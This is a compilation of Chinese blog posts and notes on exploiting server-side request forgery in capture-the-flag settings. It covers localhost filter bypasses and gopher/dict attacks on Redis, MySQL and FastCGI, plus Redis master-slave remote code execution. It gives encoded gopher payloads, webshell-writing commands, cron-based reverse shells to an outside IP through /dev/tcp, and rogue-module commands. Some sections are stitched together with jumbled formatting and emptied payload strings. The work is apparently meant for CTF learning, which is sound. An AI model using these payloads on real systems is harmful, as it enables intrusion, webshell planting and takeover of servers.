SSRF绕过

一些绕过127.0.0.1的方法

虽然dns解析和重定向都无法使用了,但是ssrf的绕过方法依然有很多,逐一尝试下其他方法

  • http://0.0.0.0/hint.php

    • 测试了下这个方法只能在linux下使用,windows并不认识这个ip…
  • http://foo@127.0.0.1:80@www.google.com/hint.php

  • DNS Rebinding

    • 感觉这是最难防御的ssrf绕过方法了,不过对环境也有一定的限制,懒狗还没测试…
  • http://127。0。0。1/hint.php

    • 这个本地倒是测试成功了,buu上就不行,可能跟curl版本有关吧
  • http://127.1/hint.php

    • ip2long('127.1')会返回false,这里可以绕过过滤
    • 但是gethostbyname在linux下会把127.1变为127.0.0.1,所以这题是无法使用的。不过windows下经过gethostbyname后依然是127.1
    • curl是支持127.1这样的写法的,但这样发出去的http请求是有问题的。因为http包中的host头被设为了127.1,apache会返回一个400 Bad Request
      img
    • 既然是http包的问题,那么用gopher协议构造一个正常的http请求即可。不过这因为gethostbyname的原因,这个方法这里用不了
  • ip进制绕过

    • 本来以为ip2long是可以防御这种方法的,后来才发现根本不行…和127.1一样会返回false
    • 和127.1类似,也是存在不能用http的问题,但是gethostbyname并不会有影响,所以这题是可以使用的,比如:
    ?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a
  • http://127.0.0.1./hint.php

    • curl不支持这种写法,猝…
  • ipv6

    • 支持ipv6的话可以使用,buu上是不行的
http://[::1]/ >>> http://127.0.0.1/
http://[::]/ >>> http://0.0.0.0/
  • ```
    http:///127.0.0.1/hint.php

    - 这个trick也非常有意思,之前一直以为只有浏览器才会解析这样host为空的畸形url,结果翻p牛小密圈旧帖的时候发现Li4n0师傅提到curl和git也会按照浏览器的方式解析,测试以下发现直接用curl会卡在那,但是php的libcurl就可以…
    - 用`parse_url`解析这样的畸形url会返回`false`,然后`$hostname=$url_parse['host'];`会返回`null`(神奇的php)。
    - 接着又是一个windows和linux下php的差异,windows下`gethostbyname(null);`会返回本机ip,导致后面无法绕过ip检测。然而linux下并没有这样的特性,`gethostbyname`会返回`null`,绕过ip检测

    感觉写的有点乱…总结一下buu上环境能用的有:

    - `http://0.0.0.0/hint.php`
    - gopher+进制转换

    ?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a

    - `http:///127.0.0.1/hint.php`

    浅析SSRF在CTF中的各种实现方式

    [**ophxc轩**](https://xz.aliyun.com/u/36547) / 2020-12-10 10:00:47 / 浏览数 8271 [安全技术](https://xz.aliyun.com/tab/1) [WEB安全](https://xz.aliyun.com/node/16)**[顶(0)](javascript:) [踩(0)](javascript:)**

    ------

    #### 关于ssrf

    ssrf在ctf中出现的次数有很多,利用的方式也是多种多样,包括不同的利用手法,绕过,协议的使用。

    ##### 关于redis

    在vps上开启我的redis服务,关于redis存在着一些小的漏洞,例如未授权,有些时候还没有设置auth,在ssrf中redis的利用方式多种多样,包括反弹shell,webshell写入,sshkey上传等等。

    ##### 利用dict协议

    利用dict我们可以写shell。
    关于信息的采集:
    [![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205121956-21860150-36b1-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205121956-21860150-36b1-1.png)
    在redis下我们使用info即可获取redis的相关信息,对于gopher可以加上一个下划线在跟上info,同时我们也可以判断出ssrf的存在。

    ###### 关于写入shell与定时计划

    写入`shell`很简单,可以在本地试验一下。

    flushall

+OK
config set dir /home/wwwroot/default/wordpress
+OK
config set dbfilename shell.php
+OK
set webshell ““
+OK
save
+OK


再看一下网站:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205122156-68cd7b24-36b1-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205122156-68cd7b24-36b1-1.png)
成功写入phpinfo。
而这周只是在redis上,在实际的情况中,利用curl会出现一些小的状况。
成功写入,但这始终是本地,实际场景下会有很大的不同,比如说利用`curl`命令。

[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/flushall
-ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dir:/home/wwwroot/default/wordpress
-ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dbfilename:shell.php
-ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]#
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/set:webshell:”“
-ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP
+OK
+OK


看上去是写进去了,其实并没有,我们利用`tcpdump`进行查看,发现其实由于`?问号`的原因,后面的都被参数进行省略了,即使我利用burpsuit也是不可避免的。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205122443-cc9d7366-36b1-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205122443-cc9d7366-36b1-1.png)
上边是传输过程中的流量。
所以在CTF中我们想要顺利的写入一些敏感字符需要一些特定的方法。
vps上搭建环境:
漏洞代码:


测试漏洞:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205122906-69aadc0c-36b2-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205122906-69aadc0c-36b2-1.png)
在输入`INFO`后,获得输出,证明`dict`协议的可用性。
在这个环境中我还是无法直接写入`?`,我们可以利用编码,在这里我利用的是`\x`十六进制编码来完成。

dict://127.0.0.1:6379/set:webshell:”\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e”


[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205123109-b2f08c0e-36b2-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205123109-b2f08c0e-36b2-1.png)

可以看到完全的输出了没有被转义。

访问`url`:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234210.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205123147-c9137f14-36b2-1.png)
成功写入。

###### 写入反弹shell

利用定时任务写入反弹shell:

set 1 ‘\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n’

转换一下即:
url=dict://127.0.0.1:6379/set:webshell:”\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n”
但还要注意这里不能够这么写:\x5c 而应该直接就 \n


不能这么写会产生乱码,而且也无法写入,但是要知道`linux`中的`cron`不会报错,只要读到一行正确配置即可执行,这里直接`\n`。
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234210.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205123516-46183ce8-36b3-1.png)
服务器里面看一下:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234210.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205123546-57e46d52-36b3-1.png)
成功的获取了反弹shell。

###### 端口探测

同样的利用`dict`协议我们也可以探测端口存活。
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234210.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205123650-7dc6e388-36b3-1.png)

##### gopher

在利用ssrf攻击redis时利用`gopher`协议我们可以进行主从复制,`shell`的写入
我们先利用`gopher`写一些键值对。

127.0.0.1:6379> set key1 value1
OK


这个时候利用`tcpdump`进行抓取流经6379的流量。
相关命令:`[root@izbp1j0zu9bm2aus0jnbhtz ~]# tcpdump -i lo port 6379 -w 1200.pcap
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234210.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205123916-d4c2e59c-36b3-1.png)
将红色段抓取下来。

2a 31 0d 0a 24 37 0d 0a 43 4f 4d 4d 41 4e 44 0d
0a
2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 34 0d
0a 6b 65 79 31 0d 0a 24 36 0d 0a 76 61 6c 75 65
31 0d 0a
按照这个每个都加一个%号改为url格式即可。
%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a


这样直接打是不行的,还要进行`url`双编码,利用curl可以只编一次码,因为他只解码一次。
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234210.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124248-53280412-36b4-1.png)
此时查看服务端:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234211.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124320-66305cc6-36b4-1.png)
尝试写个`shell`:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234211.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124348-7706650e-36b4-1.png)
转换一下:

%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%33%31%0d%0a%2f%68%6f%6d%65%2f%77%77%77%72%6f%6f%74%2f%64%65%66%61%75%6c%74%2f%77%6f%72%64%70%72%65%73%73%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a


`curl`发送一下:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234211.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124416-87ec19b8-36b4-1.png)
准备保存到网页上:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234211.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124452-9d546b0c-36b4-1.png)
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234211.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124514-aa6d879c-36b4-1.png)

###### web端利用

在web端中进行双编码即可:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234211.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124631-d84bc6e2-36b4-1.png)
redis上看一下:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205124711-efed9b04-36b4-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124711-efed9b04-36b4-1.png)
把`save`也拼接上去,发包。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205124808-11eb965c-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124808-11eb965c-36b5-1.png)
成功写入:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205124841-2570ba22-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124841-2570ba22-36b5-1.png)

###### 关于反弹shell

跟利用`dict`协议一样。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205124917-3b64855c-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124917-3b64855c-36b5-1.png)
成功反弹:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205124944-4b58a56a-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205124944-4b58a56a-36b5-1.png)
注意:写在`crontab`上时候反弹`shell`是这样的:

set webshell “\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n”


而写在`/var/spool/cron/`下需要我们将`root`去掉。

CentOS系统:
路径使用:/etc/crontab或者/var/spool/cron/root
ubuntu系统:
路径使用:/etc/crontab或者/var/spool/cron/crontabs/root


有些时候`redis`是需要认证的,我们可以进行暴力破解,尝试弱密码。

在利用的时候加上`auth`的流量即可。

#### MySQL

##### gopher打mysql

利用ssrf我们不仅能够进攻靶机拿下受害机器获取`shell`,同样也可以获取一些数据库的信息,有些时候我们可以拿这些数据库获取到的信息去扩大战果。

在`mysql`数据库不存在密码的时候:

无密码认证时直接发送TCP/IP数据包即可访问


环境设置:

SET PASSWORD FOR root@localhost=PASSWORD(‘’);
sudo mysqld_safe –skip-grant-tables &


使用上述两条命令`mysql`数据库就可以不用密码进行登录。

利用`tcpdump`来进行流量抓取:

`tcpdump -i lo -s 0 port 3306 -w mysql.pcap`
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125114-80cf2f5c-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125114-80cf2f5c-36b5-1.png)
注意第一个红框为登录流量。

注意两个点:`00 00 00 03`以及`01 00 00 00 01`

然后跟`dict`协议一样直接打就行了。

`ctfhub`中的环境这里直接用了。
在这里发现存在`ssrf`漏洞。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125233-b014d708-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125233-b014d708-36b5-1.png)
file`协议没有办法进行读取 判断gopher能不能打,至于判断方法,我自己是利用sleep函数来进行判断的: ![](https://xzfile.aliyuncs.com/media/upload/picture/20201205125340-d819a030-36b5-1.png) 监听一下,将流量转为`url`编码:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125405-e6f2410c-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125405-e6f2410c-36b5-1.png)
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125427-f3f2fbb2-36b5-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125427-f3f2fbb2-36b5-1.png)
休眠十秒,确定存在。

`sql`语句:

select ‘‘ INTO OUTFILE ‘/var/www/html/shell.php’;


用上述方法抓取下来进行`url`双编码:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125500-0788dee4-36b6-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125500-0788dee4-36b6-1.png)
访问对应`url`:可以观察到回显。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125527-17c34808-36b6-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125527-17c34808-36b6-1.png)
有两种工具可以帮助我们快速生成`payload`。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125555-28738226-36b6-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125555-28738226-36b6-1.png)
以及
`mysql -h 127.0.0.1 -u root -e "select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/test.php';"`
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205125623-38d9f35c-36b6-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205125623-38d9f35c-36b6-1.png)

#### fastcgi

`cgi`与`fastcgi`早已成为耳熟能详的一些服务了,具体原理网上有很多可见。

`fastcgi`:**快速通用网关接口**

在对`fastcgi`进行攻击的时候我们还需要了解一下另一个名词:`php-fpm`

实现原理:

PHP-FPM 负责管理一个进程池来处理来自 Web 服务器的 HTTP 动态请求,在 PHP-FPM 中,master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。这就是 PHP-FPM 的基本工作原理 #知乎上找的


在`php`版本中的应用:从`PHP 5.4 RC2`开始,`php-fpm`已经转正了。

###### 利用条件

- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径

###### 关于环境搭建

因为我的服务器选择的就是`nginx`和`php`,单并没有使用9000端口,查看`log`日志发现它使用的是`sock`方法,所以我就没换,使用了CTFHUB的靶机进行操作。

###### 攻击原理

在`PHP`当中我们可以利用`php://input`进行一些代码执行等等,而在文件上传中我们也经常利用到`htacess`文件以及`usr.ini`文件,他们都有两个选项:`auto_prepend_file`和`auto_append_file`,将两者结合,我们让文件在加载前预加载`php://input`就能进行任何的`PHP`代码执行了,然后利用`PHP`当中的各种内置函数来进行命令执行就能够`getshell`。

###### 具体步骤

在我们使用一系列的方式进行信息搜集后发现目标机器使用了`Fastcgi`并且确认其网站上存在`ssrf`漏洞。

因为看他的原理就可以发现这个实现是有点复杂的,所以我们可以直接利用网上的`exp`进行攻击。

第一种方法利用GOPHER生成payload直接打:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234203.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130007-becc2764-36b6-1.png)
可以看到打成功了。
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234203.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130033-ce1836d6-36b6-1.png)
写个定时任务就能一直弹`shell`了。

我们观察一下`Gophers`给我们的`poc`。
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234203.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130107-e252578a-36b6-1.png)

第二种也可以利用别人的`exp`,`github`上面有很多,我这里直接用p神的。
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234203.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130148-faa821de-36b6-1.png)
本地开个端口监听:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234203.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130216-0b6645aa-36b7-1.png)
把流量抓下来:
[![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210415234203.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130251-208d15f8-36b7-1.png)
进行转换发包:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205130330-37663462-36b7-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130330-37663462-36b7-1.png)
成功执行我的`php`所以可以看见这其实是一个很麻烦的地方,能用`gophers`就尽量用吧。

#### 主从复制

关于主从复制:

如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。
另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。


适应场景:

当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器。


利用主从服务器来写`shell`:

##### 环境搭建:

在这里因为我本机装`redis`两个实例没搞出来,因为装的时候就不太一样,所以我直接拉了一个`docker`,并且做了个端口映射。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205130424-57c9a8ba-36b7-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130424-57c9a8ba-36b7-1.png)
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205130613-98e86458-36b7-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130613-98e86458-36b7-1.png)
其实觉得部分的命令都已经在`dict`协议的时候写过了,多了这么一点。

在本机上先试一下主从复制,然后放到公网上搞。

`docker exec -it redis-test /bin/bash`进入`docker`容器里,连上`redis`。

master: [![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205130717-bf23ee12-36b7-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130717-bf23ee12-36b7-1.png) slave: [![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205130754-d4e5e07a-36b7-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130754-d4e5e07a-36b7-1.png) 利用这个我们可以编写webshell


在实战中:假设6390端口的`redis`是我们可控的`redis`服务器,而`6389`正是我们需要进行攻击的。

我们只需要进行主从绑定操作即可,获取到流量:

[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205130822-e5dc1e8a-36b7-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130822-e5dc1e8a-36b7-1.png)
将其编码利用`gophers`进行发送。

同时我们还需要

此时我们查看一下从机。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205130850-f64aeb3e-36b7-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205130850-f64aeb3e-36b7-1.png)
发现已经是写进行了主从复制。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131007-245c3136-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131007-245c3136-36b8-1.png)
这里编码的是这些数据包:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131036-356aac46-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131036-356aac46-36b8-1.png)
在主机上:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131112-4b0f7e6e-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131112-4b0f7e6e-36b8-1.png)
发送`save`包:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131139-5ad66538-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131139-5ad66538-36b8-1.png)
访问`phpinfo.php`:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131205-6a9d07ec-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131205-6a9d07ec-36b8-1.png)
完成了主从复制的写`shell`。

而有些时候需要进行`auth`的授权,在那里可以尝试根据他的返回流量进行爆破。

当然网上还有一键就能写`shell`的,利用python脚本模拟`redis`主从之间的交互过程:
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131243-812dfa02-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131243-812dfa02-36b8-1.png)

##### 主从复制RCE

在上面我们已经通过主从复制完成了`WebShell`的写入,其实还可以更进一步直接`RCE`,在`redis`的`4.x`以及`5.x`版本当中是存在RCE的可能性的。

相关命令:

设置redis的备份路径:config set dir ./
设置备份文件名为exp.so,默认为dump.rdb:config set dbfilename exp.so
设置主服务器IP和端口:slaveof 192.168.172.129 1234
加载恶意模块:module load ./exp.so
切断主从,关闭复制功能:slaveof no one
执行系统命令:system.exec ‘whoami’;system.rev 127.0.0.1 9999
通过dump.rdb文件恢复数据:config set dbfilename dump.rdb
删除exp.so:system.exec ‘rm ./exp.so’
卸载system模块的加载:module unload system


###### 生成exp.so

网上有很多`exp`的`poc`,这里拿的是

https://github.com/n0b0dyCN/redis-rogue-server

`r3kapig`写的。
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131337-a158019c-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131337-a158019c-36b8-1.png)
在实际当中很少有这样的情况,如果我们完成一次这样的渗透需要满足两个条件:

`protected-mode`为`no`, bind 由`127.0.0.1` 改为`0.0.0.0`。 ps:`bind`改动后服务器上任意网卡地址可访问

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。


现在我自己的机器上试验一下:

[>] PING - test if a connection is still alive
[<] +PONG
[>] REPLCONF - exchange replication information between master and slave
[<] +OK
[>] PSYNC/SYNC - synchronize slave state with the master
[<] +FULLRESYNC


把打的流量截取下来:(这里就是加载exp的过程)
[![img](https://xzfile.aliyuncs.com/media/upload/picture/20201205131412-b61b58d6-36b8-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20201205131412-b61b58d6-36b8-1.png)
不用脚本打的话无非就是把`exp`的位置放对了就可以。



#### 主从复制例题:

`redis4.x/5.xRCE漏洞`

##### [网鼎杯 2020 玄武组]SSRFMe

主从复制我的理解就是

他的远程 `redis`没权限 那我们就复制一个! 和之前做`mysql tp5`一个意思

那我们就是伪造一下:

[项目1](https://github.com/n0b0dyCN/redis-rogue-server)

[项目2](https://github.com/xmsec/redis-ssrf)

用着两个项目!

因为`buu`不能直接 反弹shell!

`redis-rogue-server` 就是用里面的`exp.so`就行

把他放到`redis-ssrf-master` 里 `py2`的环境运行`rogue-server.py` 挂载着!

`ssrf-redis.py` 改改里面的数据 直接打就可以了!

![image-20210416001537997](https://gitee.com/taochiyu/blogimage/raw/master/img/20210416001538.png)



直接再加密一下 大!

反正多加密没啥!少了就不行!

##### 原理:

[大佬](https://liotree.github.io/2020/07/10/%E7%BD%91%E9%BC%8E%E6%9D%AF-2020-%E7%8E%84%E6%AD%A6%E7%BB%84-SSRFMe/)

原理的化看大佬把:







# SSRF绕过方法总结

[脉搏文库](https://www.secpulse.com/archives/category/category/secdocs) [瓦都剋](https://www.secpulse.com/newpage/author?author_id=4526) [![img](https://gitee.com/taochiyu/blogimage/raw/master/img/20210417153448.png)](javascript:void(0))

2017-11-22 24,515



## 前言

昨天忘了在公众号还是微博上看到的了,看到一个SSRF绕过的技巧,使用的是
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
绕过的,自己也没遇到过。然后想想自己对SSRF绕过还是停留在之前的了解,也没学习过新的绕过方法,所以特意找了找资料,学习学习最新黑科技,充充能。




## 0x00 SSRF是什么



能精简的就不扯淡,一句话就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。



## 0x01 SSRF能干什么



- 探测内网信息
- 攻击内网或本地其他服务
- 穿透防火墙
- 。。。



## 0x02 SSRF怎么找

- 能够对外发起网络请求的地方
- 请求远程服务器资源的地方
- 数据库内置功能
- 邮件系统
- 文件处理
- 在线处理工具
- 。。。



**
**

**举几个例子:**



1. 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
2. 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
3. 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
4. 邮件系统就是接收邮件服务器地址这些地方。
5. 文件就找ImageMagick,xml这些。
6. 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。



以上这些不是本文的重点,下面说下重点介绍的SSRF绕过的方法。



## 0x03 SSRF怎么绕

### 1、攻击本地



http://127.0.0.1:80
http://localhost:22




### 2、利用[::]



利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1




也有看到利用http://0000::1:80/的,但是我测试未成功



### 3、利用@

http://example.com@127.0.0.1




### 4、利用短地址



http://dwz.cn/11SMa >>> http://127.0.0.1


### 5、利用特殊域名



利用的原理是DNS解析

http://127.0.0.1.xip.io/




![1.png](https://gitee.com/taochiyu/blogimage/raw/master/img/20210417153448.png)

http://www.owasp.org.127.0.0.1.xip.io/




![2.png](https://gitee.com/taochiyu/blogimage/raw/master/img/20210417153448.png)

### 6、利用DNS解析



在域名上设置A记录,指向127.0.1



![3.png](https://gitee.com/taochiyu/blogimage/raw/master/img/20210417153448.png)

### 7、利用上传



也不一定是上传,我也说不清,自己体会 -.-
修改”type=file”为”type=url”
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF




### 8、利用Enclosed alphanumerics



利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿




